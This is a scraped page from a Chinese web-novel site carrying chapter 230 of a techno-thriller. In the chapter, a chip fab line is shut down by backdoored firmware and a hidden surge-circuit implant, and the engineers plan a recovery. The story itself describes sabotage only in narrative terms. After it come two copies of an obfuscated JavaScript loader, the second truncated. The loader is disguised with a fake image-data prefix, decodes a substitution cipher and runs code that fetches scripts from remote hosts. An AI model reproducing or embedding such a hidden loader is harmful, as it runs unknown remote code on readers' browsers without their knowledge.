首页
第230章 产线遭遇「异常停
返回
关灯 护眼:关 字号:小

第230章 产线遭遇「异常停机」事件

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge543.com,更新快,无弹窗!

    14纳米试产线的中央控制室里,只有三盏夜班指示灯亮着。值班工程师王磊坐在控制台前,眼皮有些发沉。屏幕上一切正常:温度曲线平稳,压力数据在绿色区间,机械臂按照预设轨迹运行,传输带上的晶圆盒像钟表指针一样精确移动。
    过去三天,产线一直处于「静默期」,所有无线通讯关闭,数据传输改用物理光纤,人员进出实行双人验证。这是应对三桑团队来访后的升级安防措施。虽然繁琐,但确实让人安心。
    王磊打了个哈欠,伸手去拿咖啡杯。就在他的手指触到杯柄的瞬间,控制室里所有的屏幕同时黑屏。
    不是断电,照明系统还亮着,空调还在运转。只是所有的监控画面丶数据流丶控制界面,全部消失了。
    「什麽情况?」王磊猛地站起来,手指在键盘上快速敲击。没反应。他切换到备用控制终端,同样黑屏。
    警报系统应该自动启动,但此刻一片死寂。
    王磊抓起内部有线电话,这是静默期唯一允许的通讯方式,但听筒里只有忙音。他冲出控制室,跑向设备区。洁净室的门禁系统也失灵了,电子锁指示灯熄灭,他只能手动拉开气密门。
    眼前的一幕让他倒吸一口冷气。
    产线停了。不是有序的停机,而是突然的丶混乱的停止。一台光刻机的机械臂悬在半空,晶圆盒卡在传输带的接口处,两台刻蚀机的工艺腔门半开着,可以看到里面正在处理的晶圆,工艺中断在某个随机的步骤。
    更诡异的是,所有设备的本地操作面板也全部黑屏。这些面板是独立于中央控制系统的,有自己的电源和显示单元,理论上即使主系统崩溃,本地操作依然可行。
    但现在,它们像被同时切断了生命线。
    王磊冲到最近的应急通讯箱,那是完全物理隔离的报警装置,按下红色按钮。没有警铃,没有闪光。他打开箱体检查,发现里面的电池被耗尽了,电压表显示为零。
    不可能。这些应急电池每周检查,寿命至少三年,而且有太阳能辅助充电。
    他感到一阵寒意,不是来自空调,而是来自内心。这不是故障,这是攻击。
    凌晨两点四十七分,安全响应启动
    张京京被加密卫星电话惊醒时,只睡了不到三小时。听完王磊语无伦次的汇报,他只说了两个字:「封锁。」
    十分钟后,他抵达园区。安保团队已经在产线外围建立警戒线,所有出入口由双人持械守卫。技术团队正在集结,但张京京下达了第一个指令:「所有人员在外围待命,未查明原因前,任何人不得进入污染区。」
    「污染区?」匆匆赶到的林薇问。
    「如果是恶意攻击,设备内部可能被植入破坏程序或物理装置。」张京京脸色铁青,「贸然重启,可能造成二次伤害,甚至永久性损坏。」
    他穿上防护服,带上手持式检测设备,独自进入产线。林薇想跟进去,被张京京拦住:「你是总架构师,不能冒险。如果我出不来,你需要接管。」
    这话说得很重,但林薇明白他的意思。她点头,退到监控室,那里的屏幕依然是黑的,但安保团队已经架设了临时摄像头,通过独立线路传输画面。
    张京京首先检查电源系统。主配电柜的仪表显示正常,三相电压平衡,电流在安全范围。他打开柜门,用热成像仪扫描,没有局部过热,没有短路迹象。
    接着检查网络节点。所有交换机的指示灯都熄灭,但光纤接口的雷射发射器仍在工作,说明物理链路是通的,只是数据流被阻断了。
    他走到一台光刻机前,尝试打开本地维护接口。这是一个完全离线的诊断埠,不连接任何网络,用于设备制造商远程维护。平时用特殊密钥才能开启,但此刻,接口盖板上的电子锁也失灵了。
    张京京改用物理方式撬开盖板,里面是一个标准USB接口,连接着设备的底层控制器。他插入一个特制的离线诊断设备,屏幕亮起,开始读取固件信息。
    三分钟后,诊断结果让他瞳孔收缩。
    这台光刻机的固件被篡改了。不是整个重写,而是在关键的时间同步模块中,插入了一段隐藏代码。代码的功能很简单:在接收到特定格式的外部信号后,开始一个倒计时;倒计时归零时,执行「安全关机」指令,但同时切断所有本地控制接口的电源通路。
    更隐蔽的是,这段代码会在执行后自我删除,只留下一个看似正常的「意外断电」日志。
    张京京立即检查其他设备。刻蚀机丶沉积设备丶清洗机……所有设备的底层固件都被植入了类似的后门。触发条件各不相同:有的是时间触发(在特定时刻),有的是事件触发(如设备运行满某个小时数),有的是信号触发(如检测到特定频率的电磁脉冲)。
    但都有一个共同点:所有触发条件都在过去一小时内满足。
    也就是说,这不是随机的破坏,而是一次精心策划的丶多设备同步的协同攻击。
    临时组建的战情室里,气氛凝重如铁。墙上的大屏显示着张京京传回的初步分析结果,旁边是设备分布图,三十七台核心设备全部中招。
    「触发条件全部在最近72小时内被更新。」赵静指着时间线,「最早的是四天前,最晚的是昨天下午。也就是说,在三桑团队来访期间,甚至在他们离开后,攻击程序还在持续部署。」
    「怎麽做到的?」负责设备维护的刘工难以置信,「所有设备在静默期都切断了外部网络,物理接口也加强了监控。除非……」
    「除非攻击程序早就潜伏在系统里,只是被远程激活。」林薇接过话,「或者,有内部人员直接接触了设备。」
    「内部人员」四个字让会议室一片死寂。
    张京京摇摇头:「我检查了访问记录。过去一周,所有设备维护都需要双人授权和全程录像。录像显示,没有异常操作。但有一个漏洞……」
    他调出一段录像:五天前,一台光刻机报修温度传感器漂移。设备供应商派来了工程师,按照合同进行现场维护。录像显示,工程师更换了传感器,进行了校准测试,全程有未来科技的技术人员陪同。
    「问题出在校准程序上。」张京京放大画面,「工程师使用的校准设备,看起来是标准仪器,但内部可能嵌入了恶意程序注入装置。校准过程中,仪器通过物理接口向设备控制器上传『校准参数』,实际夹带了后门代码。」
    「哪个供应商?」李明哲问。
    「阿斯莫。」张京京说出那个名字,「全球唯一的高端光刻机供应商。但派来的工程师是华夏人,有完整的工作许可和背景调查。」
    「背景调查可能是伪造的。」周明调出安保部门的记录,「我们重新核查了那个工程师的资料:姓名丶身份证号丶工作经历都真实,但他两年前曾经被外派到台湾三个月,参与一个『客户支持项目』。那个项目的客户,是宝岛电路。」
    又是一个指向台湾的线索。
    「但宝岛电路刚刚和我们签了技术合作协议。」林薇皱眉,「他们同时两面下注?」
    「不一定。」吴文山的声音从视频会议中传来,他人在合城,但一直在线参与分析,「以我对宝岛电路的了解,他们的技术部门可能不知道这些事。这更像是……某些人的私人行为。记得周振华教授吗?他是被基金会拉下水的,而不是公司行为。」
    「所以可能是同一个网络:美国的前沿科技战略谘询公司,通过台湾的基金会,收买或胁迫相关人员,在设备维护丶供应链环节植入后门。」李明哲梳理链条,「现在,他们激活了这些后门。」
    「目的呢?」张京京问,「如果只是想破坏,可以直接让设备报废。但现在只是停机,而且看起来是可恢复的停机,固件可以被重刷,硬体没有损坏。」
    「他们想要的是时间。」陈醒的声音突然加入,他一直在旁听,此刻才开口,「距离良率突破的最后期限还有73天。如果产线停机一周,我们的时间窗口就会缩水10%。停机两周,缩水20%。他们不需要彻底摧毁我们,只需要拖延,拖到我们来不及完成良率爬坡,拖到资金炼断裂,拖到整个项目被迫放弃。」
    这个判断让所有人背后发凉。是的,在商业战争中,有时拖延比摧毁更致命。
    「恢复需要多久?」陈醒问。
    张京京快速估算:「重刷所有设备的固件,需要设备原厂的技术支持。但如果我们现在联系阿斯莫,他们会启动复杂的内部流程,安全审查丶出口管制核查丶甚至可能被美国政府叫停。乐观估计,两周;悲观估计,无限期拖延。」
    「不能等。」陈醒果断道,「我们自己恢复。京京,你带队,用我们自己的技术力量,重写固件。」
    「但这违反设备使用协议,可能会导致设备原厂终止所有技术支持,甚至法律诉讼。」
    「那就让他们告。」陈醒的声音冰冷,「如果等他们的流程,我们必死无疑;如果自己干,至少有一线生机。而且……」
    他顿了顿:「而且我怀疑,这次停机本身就是某种试探,试探我们在极端情况下的自主能力。如果我们连设备固件都无法自主恢复,那麽在其他领域的自主化承诺,也会被认为是空话。」
    这就是残酷的现实:当你开始走自主道路时,每一步都会被放大审视。成功了,是应该的;失败了,就是证明你不行。
    「我们需要宝岛电路的帮助。」林薇突然说,「他们的TCAD模型里,包含大量设备级的物理建模参数。如果有这些参数,我们重写固件的准确性会大幅提升。」
    「但昨天刚刚签协议,今天就求助,会不会……」李明哲迟疑。
    「顾不上了。」林薇已经打开加密通讯界面,「我来联系王秀文博士。她说过,合作需要诚意。现在,就是我们展现诚意的时刻,我们愿意信任他们,也希望他们值得信任。」
    她发送了紧急联络请求。三分钟后,王秀文出现在视频画面中,穿着睡衣,显然是从床上被叫醒的。但听完情况简述后,她立刻清醒了。
    「给我十分钟,我需要请示。」王秀文说,「但我个人建议:你们立即开始备份所有设备的现有固件和配置参数。即使我们无法提供直接帮助,至少你们要保留原始状态,为后续的法律和技术取证做准备。」
    这是非常务实的建议,也暗示她知道事情的严重性。
    「另外,」王秀文补充,「检查设备内部是否有物理层面的异常。有时候,软体攻击会配合硬体破坏,比如在电源模块中植入微型烧毁装置,在特定条件下触发。」
    技术团队分成两组:一组开始备份设备数据,另一组进行深度硬体检查。
    备份工作进展顺利,虽然设备无法正常启动,但通过底层的JTAG调试接口,还是可以读取快闪记忆体中的固件代码。工程师们像外科医生一样,小心翼翼地从每台设备中「提取」出被感染的固件副本。
    硬体检查则发现了更可怕的东西。
    在三号刻蚀机的电源模块里,工程师发现了一个拇指大小的附加电路板。它巧妙地嵌入在原有电路之间,用了和原厂完全一样的连接器,如果不是刻意寻找,根本发现不了。
    电路板上有一个微型处理器丶一块电池丶还有一个微型天线。分析显示,这个装置可以接收外部无线信号,在接收到特定指令后,会向电源系统注入高压脉冲,烧毁关键元器件。
    更关键的是,装置上有一个雷射鵰刻的编号:PF-2023-047。
    「PF……」张京京看着这个编号,「和我们之前在污染胶囊上发现的萤光标记编号规则一样:PF代表『PulseFiend(脉冲恶魔)』?2023代表制造年份,047是批次号。」
    「这是同一个组织的作品。」林薇确信,「而且从编号看,他们已经至少制造了47批不同的破坏装置。」
    「也就是说,我们的供应链里,早就被系统性渗透了。」李明哲的声音发苦。
    视频再次接通时,王秀文已经换上了正装,背景是她公司的会议室。
    「我和董事长丶技术委员会连夜开会。」她的表情严肃,「我们决定提供帮助。但不是直接给TCAD模型,而是提供技术支持:我们会派一个三人技术小组,携带必要的工具和数据,协助你们恢复设备。但有两个条件。」
    「请讲。」
    「第一,整个过程必须在我们的技术监督下进行,确保不会出现可能导致设备永久损坏的操作。这是为了保护你们,也是保护我们,如果设备真的报废,我们不想承担责任。」
    「第二呢?」
    「第二,这件事必须完全保密。如果外界知道我们协助大陆企业绕过设备原厂恢复系统,三桑丶美国商务部丶甚至我们的其他国际客户,都会给我们巨大压力。我们承担不起。」
    这两个条件合情合理。林薇看向陈醒,陈醒点头。
    「我们同意。」林薇说,「技术小组什麽时候能到?」
    「最快今天下午。但你们需要安排安全的入境通道和全程隔离,不能留下任何公开记录。」
    「明白。」
    通话结束。林薇靠在椅背上,感觉太阳穴在突突跳动。一夜未眠,但真正的战斗才刚刚开始。
    窗外,天色开始泛白。新的一天即将开始,但产线依然死寂。
    倒计时在某个屏幕上跳动:73天03小时11分钟。
    时间正在一分一秒地流失。而他们,必须在敌人设定的游戏规则中,找到破局的方法。
    张京京走进来,手里拿着初步的恢复方案:「如果我们得到宝岛电路的技术支持,最快三天可以恢复80%的设备。但剩下的20%可能需要更长时间,特别是光刻机,它的控制系统最复杂。」
    「三天……」林薇计算着,「三天后,我们就剩下70天。良率现在是45%,要达到75%,还需要提升30个百分点。70天,平均每天要提升0.43个百分点。」
    这几乎是不可能完成的任务。
    但就在这个绝望的时刻,她突然想起一件事:「无尘岛先导实验线呢?它不受影响吧?」
    张京京眼睛一亮:「对,那条线完全是自主设计和集成的,所有设备都是国产或深度改造的,没有原厂的封闭系统。它还在运行!」
    「那就调整战略。」林薇站起身,「把最核心的工艺验证移到无尘岛线进行。虽然它的产能只有主产线的十分之一,但至少能保证实验不中断。同时,主产线全力恢复,双线并行。」
    这个方案意味着巨大的资源分散,但至少,他们还有火种。
    而此刻,在城市的另一个角落,那个昨晚亮灯的房间,窗帘已经拉开。房间的主人看着窗外升起的太阳,拿起卫星电话,只说了一句话:
    「Phase2,完成。等待Phase3指令。」
    电话那头传来平静的回应:「收到。继续观察。」
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 